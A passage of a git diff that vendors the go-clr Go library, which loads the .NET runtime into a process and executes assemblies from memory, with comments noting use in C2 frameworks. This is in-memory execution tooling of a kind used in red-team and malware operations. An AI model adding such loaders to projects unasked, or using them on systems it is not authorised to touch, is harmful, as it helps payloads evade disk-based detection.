also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and +`ExecuteByteArray`. Here's a quick example of using both: + +```go +package main + +import ( + clr "github.com/ropnop/go-clr" + "log" + "fmt" + "io/ioutil" + "runtime" +) + +func main() { + fmt.Println("[+] Loading DLL from Disk") + ret, err := clr.ExecuteDLLFromDisk( + "TestDLL.dll", + "TestDLL.HelloWorld", + "SayHello", + "foobar") + if err != nil { + log.Fatal(err) + } + fmt.Printf("[+] DLL Return Code: %d\n", ret) + + + fmt.Println("[+] Executing EXE from memory") + exebytes, err := ioutil.ReadFile("helloworld.exe") + if err != nil { + log.Fatal(err) + } + runtime.KeepAlive(exebytes) + + ret2, err := clr.ExecuteByteArray(exebytes) + if err != nil { + log.Fatal(err) + } + fmt.Printf("[+] EXE Return Code: %d\n", ret2) +} +``` + +The other 2 examples show the same technique but without the magic functions. + +### License +This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately +chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know +some organizations forbid this license from being used in products (which is a good thing). \ No newline at end of file diff --git a/vendor/github.com/Ne0nd0g/go-clr/appdomain.go b/vendor/github.com/Ne0nd0g/go-clr/appdomain.go new file mode 100644 index 0000000000..3a27058481 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/appdomain.go @@ -0,0 +1,212 @@ +//go:build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +// AppDomain is a Windows COM object interface pointer for the .NET AppDomain class. +// The AppDomain object represents an application domain, which is an isolated environment where applications execute. +// This structure only contains a pointer to the AppDomain's virtual function table +// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8 +type AppDomain struct { + vtbl *AppDomainVtbl +} + +// AppDomainVtbl is a Virtual Function Table for the AppDomain COM interface +// The Virtual Function Table contains pointers to the COM IUnkown interface +// functions (QueryInterface, AddRef, & Release) as well as the AppDomain object's methods +// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8 +type AppDomainVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + GetTypeInfoCount uintptr + GetTypeInfo uintptr + GetIDsOfNames uintptr + Invoke uintptr + get_ToString uintptr + Equals uintptr + GetHashCode uintptr + GetType uintptr + InitializeLifetimeService uintptr + GetLifetimeService uintptr + get_Evidence uintptr + add_DomainUnload uintptr + remove_DomainUnload uintptr + add_AssemblyLoad uintptr + remove_AssemblyLoad uintptr + add_ProcessExit uintptr + remove_ProcessExit uintptr + add_TypeResolve uintptr + remove_TypeResolve uintptr + add_ResourceResolve uintptr + remove_ResourceResolve uintptr + add_AssemblyResolve uintptr + remove_AssemblyResolve uintptr + add_UnhandledException uintptr + remove_UnhandledException uintptr + DefineDynamicAssembly uintptr + DefineDynamicAssembly_2 uintptr + DefineDynamicAssembly_3 uintptr + DefineDynamicAssembly_4 uintptr + DefineDynamicAssembly_5 uintptr + DefineDynamicAssembly_6 uintptr + DefineDynamicAssembly_7 uintptr + DefineDynamicAssembly_8 uintptr + DefineDynamicAssembly_9 uintptr + CreateInstance uintptr + CreateInstanceFrom uintptr + CreateInstance_2 uintptr + CreateInstanceFrom_2 uintptr + CreateInstance_3 uintptr + CreateInstanceFrom_3 uintptr + Load uintptr + Load_2 uintptr + Load_3 uintptr + Load_4 uintptr + Load_5 uintptr + Load_6 uintptr + Load_7 uintptr + ExecuteAssembly uintptr + ExecuteAssembly_2 uintptr + ExecuteAssembly_3 uintptr + get_FriendlyName uintptr + get_BaseDirectory uintptr + get_RelativeSearchPath uintptr + get_ShadowCopyFiles uintptr + GetAssemblies uintptr + AppendPrivatePath uintptr + ClearPrivatePath uintptr + SetShadowCopyPath uintptr + ClearShadowCopyPath uintptr + SetCachePath uintptr + SetData uintptr + GetData uintptr + SetAppDomainPolicy uintptr + SetThreadPrincipal uintptr + SetPrincipalPolicy uintptr + DoCallBack uintptr + get_DynamicDirectory uintptr +} + +// GetAppDomain is a wrapper function that returns an appDomain from an existing ICORRuntimeHost object +func GetAppDomain(runtimeHost *ICORRuntimeHost) (appDomain *AppDomain, err error) { + debugPrint("Entering into appdomain.GetAppDomain()...") + iu, err := runtimeHost.GetDefaultDomain() + if err != nil { + return + } + err = iu.QueryInterface(IID_AppDomain, unsafe.Pointer(&appDomain)) + return +} + +func (obj *AppDomain) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr { + debugPrint("Entering into appdomain.QueryInterface()...") + ret, _, _ := syscall.Syscall( + obj.vtbl.QueryInterface, + 3, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(riid)), + uintptr(unsafe.Pointer(ppvObject))) + return ret +} + +func (obj *AppDomain) AddRef() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.AddRef, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +func (obj *AppDomain) Release() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.Release, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +// GetHashCode serves as the default hash function. +// https://docs.microsoft.com/en-us/dotnet/api/system.object.gethashcode?view=netframework-4.8#System_Object_GetHashCode +func (obj *AppDomain) GetHashCode() (int32, error) { + debugPrint("Entering into appdomain.GetHashCode()...") + ret, _, err := syscall.Syscall( + obj.vtbl.GetHashCode, + 2, + uintptr(unsafe.Pointer(obj)), + 0, + 0, + ) + if err != syscall.Errno(0) { + return 0, fmt.Errorf("the appdomain.GetHashCode function returned an error:\r\n%s", err) + } + // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive + return int32(ret), nil +} + +// Load_3 Loads an Assembly into this application domain. +// virtual HRESULT __stdcall Load_3 ( +// /*[in]*/ SAFEARRAY * rawAssembly, +// /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0; +// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-5.0 +func (obj *AppDomain) Load_3(rawAssembly *SafeArray) (assembly *Assembly, err error) { + debugPrint("Entering into appdomain.Load_3()...") + hr, _, err := syscall.Syscall( + obj.vtbl.Load_3, + 3, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(rawAssembly)), + uintptr(unsafe.Pointer(&assembly)), + ) + + if err != syscall.Errno(0) { + if err != syscall.Errno(1150) { + return + } + } + + if hr != S_OK { + err = fmt.Errorf("the appdomain.Load_3 function returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + + return +} + +// ToString Obtains a string representation that includes the friendly name of the application domain and any context policies. +// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.tostring?view=net-5.0#System_AppDomain_ToString +func (obj *AppDomain) ToString() (domain string, err error) { + debugPrint("Entering into appdomain.ToString()...") + var pDomain *string + hr, _, err := syscall.Syscall( + obj.vtbl.get_ToString, + 2, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&pDomain)), + 0, + ) + + if err != syscall.Errno(0) { + err = fmt.Errorf("the AppDomain.ToString method retured an error:\r\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the AppDomain.ToString method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + domain = ReadUnicodeStr(unsafe.Pointer(pDomain)) + return +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/assembly.go b/vendor/github.com/Ne0nd0g/go-clr/assembly.go new file mode 100644 index 0000000000..0e9c693907 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/assembly.go @@ -0,0 +1,129 @@ +// +build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +// from mscorlib.tlh + +type Assembly struct { + vtbl *AssemblyVtbl +} + +// AssemblyVtbl is a COM virtual table of functions for the Assembly Class +// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8 +type AssemblyVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + GetTypeInfoCount uintptr + GetTypeInfo uintptr + GetIDsOfNames uintptr + Invoke uintptr + get_ToString uintptr + Equals uintptr + GetHashCode uintptr + GetType uintptr + get_CodeBase uintptr + get_EscapedCodeBase uintptr + GetName uintptr + GetName_2 uintptr + get_FullName uintptr + get_EntryPoint uintptr + GetType_2 uintptr + GetType_3 uintptr + GetExportedTypes uintptr + GetTypes uintptr + GetManifestResourceStream uintptr + GetManifestResourceStream_2 uintptr + GetFile uintptr + GetFiles uintptr + GetFiles_2 uintptr + GetManifestResourceNames uintptr + GetManifestResourceInfo uintptr + get_Location uintptr + get_Evidence uintptr + GetCustomAttributes uintptr + GetCustomAttributes_2 uintptr + IsDefined uintptr + GetObjectData uintptr + add_ModuleResolve uintptr + remove_ModuleResolve uintptr + GetType_4 uintptr + GetSatelliteAssembly uintptr + GetSatelliteAssembly_2 uintptr + LoadModule uintptr + LoadModule_2 uintptr + CreateInstance uintptr + CreateInstance_2 uintptr + CreateInstance_3 uintptr + GetLoadedModules uintptr + GetLoadedModules_2 uintptr + GetModules uintptr + GetModules_2 uintptr + GetModule uintptr + GetReferencedAssemblies uintptr + get_GlobalAssemblyCache uintptr +} + +func (obj *Assembly) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.QueryInterface, + 3, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(riid)), + uintptr(unsafe.Pointer(ppvObject))) + return ret +} + +func (obj *Assembly) AddRef() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.AddRef, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +func (obj *Assembly) Release() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.Release, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +// GetEntryPoint returns the assembly's MethodInfo +// virtual HRESULT __stdcall get_EntryPoint ( +// /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0; +// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=netframework-4.8#System_Reflection_Assembly_EntryPoint +// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=netframework-4.8 +func (obj *Assembly) GetEntryPoint() (pRetVal *MethodInfo, err error) { + debugPrint("Entering into assembly.GetEntryPoint()...") + hr, _, err := syscall.Syscall( + obj.vtbl.get_EntryPoint, + 2, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&pRetVal)), + 0, + ) + if err != syscall.Errno(0) { + err = fmt.Errorf("the Assembly::GetEntryPoint method returned an error:\r\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the Assembly::GetEntryPoint method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/go-clr.go b/vendor/github.com/Ne0nd0g/go-clr/go-clr.go new file mode 100644 index 0000000000..05e3ee0533 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/go-clr.go @@ -0,0 +1,367 @@ +// +build windows + +// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and +// execute a managed DLL from disk or a managed EXE from memory +package clr + +import ( + "fmt" + "strings" + "syscall" + "unsafe" +) + +// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost +func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) { + var runtimes []string + enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes() + if err != nil { + return runtimes, err + } + + var hr int + for hr != S_FALSE { + var runtimeInfo *ICLRRuntimeInfo + var fetched = uint32(0) + hr, err = enumICLRRuntimeInfo.Next(1, unsafe.Pointer(&runtimeInfo), &fetched) + if err != nil { + return runtimes, fmt.Errorf("InstalledRuntimes Next Error:\r\n%s\n", err) + } + if hr == S_FALSE { + break + } + // Only release if an interface pointer was returned + runtimeInfo.Release() + + version, err := runtimeInfo.GetVersionString() + if err != nil { + return runtimes, err + } + runtimes = append(runtimes, version) + } + if len(runtimes) == 0 { + return runtimes, fmt.Errorf("Could not find any installed runtimes") + } + return runtimes, err +} + +// ExecuteDLLFromDisk is a wrapper function that will automatically load the latest installed CLR into the current process +// and execute a DLL on disk in the default app domain. It takes in the target runtime, DLLPath, TypeName, MethodName +// and Argument to use as strings. It returns the return code from the assembly +func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument string) (retCode int16, err error) { + retCode = -1 + if targetRuntime == "" { + targetRuntime = "v4" + } + metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost) + if err != nil { + return + } + + runtimes, err := GetInstalledRuntimes(metahost) + if err != nil { + return + } + var latestRuntime string + for _, r := range runtimes { + if strings.Contains(r, targetRuntime) { + latestRuntime = r + break + } else { + latestRuntime = r + } + } + runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime) + if err != nil { + return + } + + isLoadable, err := runtimeInfo.IsLoadable() + if err != nil { + return + } + if !isLoadable { + return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime) + } + runtimeHost, err := GetICLRRuntimeHost(runtimeInfo) + if err != nil { + return + } + + pDLLPath, err := syscall.UTF16PtrFromString(dllpath) + must(err) + pTypeName, err := syscall.UTF16PtrFromString(typeName) + must(err) + pMethodName, err := syscall.UTF16PtrFromString(methodName) + must(err) + pArgument, err := syscall.UTF16PtrFromString(argument) + must(err) + + ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument) + must(err) + if *ret != 0 { + return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret) + } + + runtimeHost.Release() + runtimeInfo.Release() + metahost.Release() + return 0, nil +} + +// ExecuteByteArray is a wrapper function that will automatically loads the supplied target framework into the current +// process using the legacy APIs, then load and execute an executable from memory. If no targetRuntime is specified, it +// will default to latest. It takes in a byte array of the executable to load and run and returns the return code. +// You can supply an array of strings as command line arguments. +func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (retCode int32, err error) { + retCode = -1 + if targetRuntime == "" { + targetRuntime = "v4" + } + metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost) + if err != nil { + return + } + + runtimes, err := GetInstalledRuntimes(metahost) + if err != nil { + return + } + var latestRuntime string + for _, r := range runtimes { + if strings.Contains(r, targetRuntime) { + latestRuntime = r + break + } else { + latestRuntime = r + } + } + runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime) + if err != nil { + return + } + + isLoadable, err := runtimeInfo.IsLoadable() + if err != nil { + return + } + if !isLoadable { + return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime) + } + runtimeHost, err := GetICORRuntimeHost(runtimeInfo) + if err != nil { + return + } + appDomain, err := GetAppDomain(runtimeHost) + if err != nil { + return + } + safeArrayPtr, err := CreateSafeArray(rawBytes) + if err != nil { + return + } + + assembly, err := appDomain.Load_3(safeArrayPtr) + if err != nil { + return + } + + methodInfo, err := assembly.GetEntryPoint() + if err != nil { + return + } + + var paramSafeArray *SafeArray + methodSignature, err := methodInfo.GetString() + if err != nil { + return + } + + if expectsParams(methodSignature) { + if paramSafeArray, err = PrepareParameters(params); err != nil { + return + } + } + + nullVariant := Variant{ + VT: 1, + Val: uintptr(0), + } + err = methodInfo.Invoke_3(nullVariant, paramSafeArray) + if err != nil { + return + } + appDomain.Release() + runtimeHost.Release() + runtimeInfo.Release() + metahost.Release() + return 0, nil +} + +// LoadCLR loads the target runtime into the current process and returns the runtimehost +// The intended purpose is for the runtimehost to be reused for subsequent operations +// throught the duration of the program. Commonly used with C2 frameworks +func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) { + if targetRuntime == "" { + targetRuntime = "v4" + } + + metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost) + if err != nil { + return runtimeHost, fmt.Errorf("there was an error enumerating the installed CLR runtimes:\n%s", err) + } + + runtimes, err := GetInstalledRuntimes(metahost) + debugPrint(fmt.Sprintf("Installed Runtimes: %v", runtimes)) + if err != nil { + return + } + var latestRuntime string + for _, r := range runtimes { + if strings.Contains(r, targetRuntime) { + latestRuntime = r + break + } else { + latestRuntime = r + } + } + runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime) + if err != nil { + return + } + + isLoadable, err := runtimeInfo.IsLoadable() + if err != nil { + return + } + if !isLoadable { + err = fmt.Errorf("%s is not loadable for some reason", latestRuntime) + } + + return GetICORRuntimeHost(runtimeInfo) +} + +// ExecuteByteArrayDefaultDomain uses a previously instantiated runtimehost, gets the default AppDomain, +// loads the assembly into, executes the assembly, and then releases AppDomain +// Intended to be used by C2 frameworks to quickly execute an assembly one time +func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte, params []string) (stdout string, stderr string) { + appDomain, err := GetAppDomain(runtimeHost) + if err != nil { + stderr = err.Error() + return + } + safeArrayPtr, err := CreateSafeArray(rawBytes) + if err != nil { + stderr = err.Error() + return + } + + assembly, err := appDomain.Load_3(safeArrayPtr) + if err != nil { + stderr = err.Error() + return + } + + methodInfo, err := assembly.GetEntryPoint() + if err != nil { + stderr = err.Error() + return + } + + var paramSafeArray *SafeArray + methodSignature, err := methodInfo.GetString() + if err != nil { + stderr = err.Error() + return + } + + if expectsParams(methodSignature) { + if paramSafeArray, err = PrepareParameters(params); err != nil { + stderr = err.Error() + return + } + } + + nullVariant := Variant{ + VT: 1, + Val: uintptr(0), + } + + err = methodInfo.Invoke_3(nullVariant, paramSafeArray) + if err != nil { + stderr = err.Error() + return + } + + assembly.Release() + appDomain.Release() + return +} + +// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain +// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded +// once but executed many times throught the duration of the program. Commonly used with C2 frameworks +func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) { + appDomain, err := GetAppDomain(runtimeHost) + if err != nil { + return + } + safeArrayPtr, err := CreateSafeArray(rawBytes) + if err != nil { + return + } + + assembly, err := appDomain.Load_3(safeArrayPtr) + if err != nil { + return + } + return assembly.GetEntryPoint() +} + +// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it. +// The intended purpose is for the assembly to be executed many times throught the duration of the +// program. Commonly used with C2 frameworks +func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) { + var paramSafeArray *SafeArray + methodSignature, err := methodInfo.GetString() + if err != nil { + stderr = err.Error() + return + } + + if expectsParams(methodSignature) { + if paramSafeArray, err = PrepareParameters(params); err != nil { + stderr = err.Error() + return + } + } + + nullVariant := Variant{ + VT: 1, + Val: uintptr(0), + } + + defer SafeArrayDestroy(paramSafeArray) + + // Ensure exclusive access to read/write STDOUT/STDERR + mutex.Lock() + defer mutex.Unlock() + + err = methodInfo.Invoke_3(nullVariant, paramSafeArray) + if err != nil { + stderr = err.Error() + // Don't return because there could be data on STDOUT/STDERR + } + + // Read data from previously redirected STDOUT/STDERR + if wSTDOUT != nil { + var e string + stdout, e, err = ReadStdoutStderr() + stderr += e + if err != nil { + stderr += err.Error() + } + } + + return +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/guids.go b/vendor/github.com/Ne0nd0g/go-clr/guids.go new file mode 100644 index 0000000000..3727ea077c --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/guids.go @@ -0,0 +1,22 @@ +// +build windows + +package clr + +import ( + "golang.org/x/sys/windows" +) + +var ( + CLSID_CLRMetaHost = windows.GUID{Data1: 0x9280188d, Data2: 0x0e8e, Data3: 0x4867, Data4: [8]byte{0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}} + IID_ICLRMetaHost = windows.GUID{Data1: 0xD332DB9E, Data2: 0xB9B3, Data3: 0x4125, Data4: [8]byte{0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}} + IID_ICLRRuntimeInfo = windows.GUID{Data1: 0xBD39D1D2, Data2: 0xBA2F, Data3: 0x486a, Data4: [8]byte{0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}} + CLSID_CLRRuntimeHost = windows.GUID{Data1: 0x90F1A06E, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}} + IID_ICLRRuntimeHost = windows.GUID{Data1: 0x90F1A06C, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}} + IID_ICorRuntimeHost = windows.GUID{Data1: 0xcb2f6722, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}} + CLSID_CorRuntimeHost = windows.GUID{Data1: 0xcb2f6723, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}} + IID_AppDomain = windows.GUID{Data1: 0x05f696dc, Data2: 0x2b29, Data3: 0x3663, Data4: [8]byte{0xad, 0x8b, 0xc4, 0x38, 0x9c, 0xf2, 0xa7, 0x13}} + // IID_IErrorInfo is the interface ID for the Error interface 1CF2B120-547D-101B-8E65-08002B2BD119 + IID_IErrorInfo = windows.GUID{Data1: 0x1cf2b120, Data2: 0x547d, Data3: 0x101b, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}} + // DF0B3D60-548F-101B-8E65-08002B2BD119 https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo + IID_ISupportErrorInfo = windows.GUID{Data1: 0xDF0B3D60, Data2: 0x548F, Data3: 0x101B, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}} +) diff --git a/vendor/github.com/Ne0nd0g/go-clr/hresult.go b/vendor/github.com/Ne0nd0g/go-clr/hresult.go new file mode 100644 index 0000000000..097be9ddf5 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/hresult.go @@ -0,0 +1,22 @@ +package clr + +// https://docs.microsoft.com/en-us/dotnet/framework/interop/how-to-map-hresults-and-exceptions +// https://docs.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values + +const ( + S_OK = 0x00 + S_FALSE = 0x01 + // COR_E_TARGETINVOCATION is TargetInvocationException + // https://docs.microsoft.com/en-us/dotnet/api/system.reflection.targetinvocationexception?view=net-5.0 + COR_E_TARGETINVOCATION uint32 = 0x80131604 + // COR_E_SAFEARRAYRANKMISMATCH is SafeArrayRankMismatchException + COR_E_SAFEARRAYRANKMISMATCH uint32 = 0x80131538 + // COR_E_BADIMAGEFORMAT is BadImageFormatException + COR_E_BADIMAGEFORMAT uint32 = 0x8007000b + // DISP_E_BADPARAMCOUNT is invalid number of parameters + DISP_E_BADPARAMCOUNT uint32 = 0x8002000e + // E_POINTER Pointer that is not valid + E_POINTER uint32 = 0x80004003 + // E_NOINTERFACE No such interface supported + E_NOINTERFACE uint32 = 0x80004002 +) diff --git a/vendor/github.com/Ne0nd0g/go-clr/iclrmetahost.go b/vendor/github.com/Ne0nd0g/go-clr/iclrmetahost.go new file mode 100644 index 0000000000..57f8e4f20c --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/iclrmetahost.go @@ -0,0 +1,187 @@ +// +build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +// Couldnt have done any of this without this SO answer I stumbled on: +// https://stackoverflow.com/questions/37781676/how-to-use-com-component-object-model-in-golang + +//ICLRMetaHost Interface from metahost.h +type ICLRMetaHost struct { + vtbl *ICLRMetaHostVtbl +} + +// ICLRMetaHostVtbl provides methods that return a specific version of the common language runtime (CLR) +// based on its version number, list all installed CLRs, list all runtimes that are loaded in a specified +// process, discover the CLR version used to compile an assembly, exit a process with a clean runtime +// shutdown, and query legacy API binding. +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface +type ICLRMetaHostVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + // GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular CLR version. + // This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag. + GetRuntime uintptr + // GetVersionFromFile gets the assembly's original .NET Framework compilation version (stored in the metadata), + // given its file path. This method supersedes GetFileVersion. + GetVersionFromFile uintptr + // EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface + // pointer for each CLR version that is installed on a computer. + EnumerateInstalledRuntimes uintptr + // EnumerateLoadedRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface + // pointer for each CLR that is loaded in a given process. This method supersedes GetVersionFromProcess. + EnumerateLoadedRuntimes uintptr + // RequestRuntimeLoadedNotification guarantees a callback to the specified function pointer when a + // CLR version is first loaded, but not yet started. This method supersedes LockClrVersion + RequestRuntimeLoadedNotification uintptr + // QueryLegacyV2RuntimeBinding returns an interface that represents a runtime to which legacy activation policy + // has been bound, for example by using the useLegacyV2RuntimeActivationPolicy attribute on the Element + // configuration file entry, by direct use of the legacy activation APIs, or by calling the + // ICLRRuntimeInfo::BindAsLegacyV2Runtime method. + QueryLegacyV2RuntimeBinding uintptr + // ExitProcess attempts to shut down all loaded runtimes gracefully and then terminates the process. + ExitProcess uintptr +} + +// CLRCreateInstance provides one of three interfaces: ICLRMetaHost, ICLRMetaHostPolicy, or ICLRDebugging. +// HRESULT CLRCreateInstance( +// [in] REFCLSID clsid, +// [in] REFIID riid, +// [out] LPVOID * ppInterface +// ); +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function +func CLRCreateInstance(clsid, riid windows.GUID) (ppInterface *ICLRMetaHost, err error) { + debugPrint("Entering into iclrmetahost.CLRCreateInstance()...") + + if clsid != CLSID_CLRMetaHost { + err = fmt.Errorf("the input Class ID (CLSID) is not supported: %s", clsid) + return + } + + modMSCoree := syscall.MustLoadDLL("mscoree.dll") + procCLRCreateInstance := modMSCoree.MustFindProc("CLRCreateInstance") + + // For some reason this procedure call returns "The specified procedure could not be found." even though it works + hr, _, err := procCLRCreateInstance.Call( + uintptr(unsafe.Pointer(&clsid)), + uintptr(unsafe.Pointer(&riid)), + uintptr(unsafe.Pointer(&ppInterface)), + ) + + if err != nil { + // TODO Figure out why "The specified procedure could not be found." is returned even though everything works fine? + debugPrint(fmt.Sprintf("the mscoree!CLRCreateInstance function returned an error:\r\n%s", err)) + } + if hr != S_OK { + err = fmt.Errorf("the mscoree!CLRCreateInstance function returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} + +func (obj *ICLRMetaHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error { + debugPrint("Entering into icorruntimehost.QueryInterface()...") + hr, _, err := syscall.Syscall( + obj.vtbl.QueryInterface, + 3, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for. + uintptr(ppvObject), + ) + if err != syscall.Errno(0) { + return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err) + } + if hr != S_OK { + return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} + +func (obj *ICLRMetaHost) AddRef() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.AddRef, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +func (obj *ICLRMetaHost) Release() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.Release, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface for each +// version of the common language runtime (CLR) that is installed on a computer. +// HRESULT EnumerateInstalledRuntimes ( +// [out, retval] IEnumUnknown **ppEnumerator); +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-enumerateinstalledruntimes-method +func (obj *ICLRMetaHost) EnumerateInstalledRuntimes() (ppEnumerator *IEnumUnknown, err error) { + debugPrint("Entering into iclrmetahost.EnumerateInstalledRuntimes()...") + hr, _, err := syscall.Syscall( + obj.vtbl.EnumerateInstalledRuntimes, + 2, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&ppEnumerator)), + 0, + ) + if err != syscall.Errno(0) { + err = fmt.Errorf("there was an error calling the ICLRMetaHost::EnumerateInstalledRuntimes method:\r\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the ICLRMetaHost::EnumerateInstalledRuntimes method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} + +// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular version of the common language runtime (CLR). +// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag. +// HRESULT GetRuntime ( +// [in] LPCWSTR pwzVersion, +// [in] REFIID riid, +// [out,iid_is(riid), retval] LPVOID *ppRuntime +// ); +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-getruntime-method +func (obj *ICLRMetaHost) GetRuntime(pwzVersion *uint16, riid windows.GUID) (ppRuntime *ICLRRuntimeInfo, err error) { + debugPrint("Entering into iclrmetahost.GetRuntime()...") + + hr, _, err := syscall.Syscall6( + 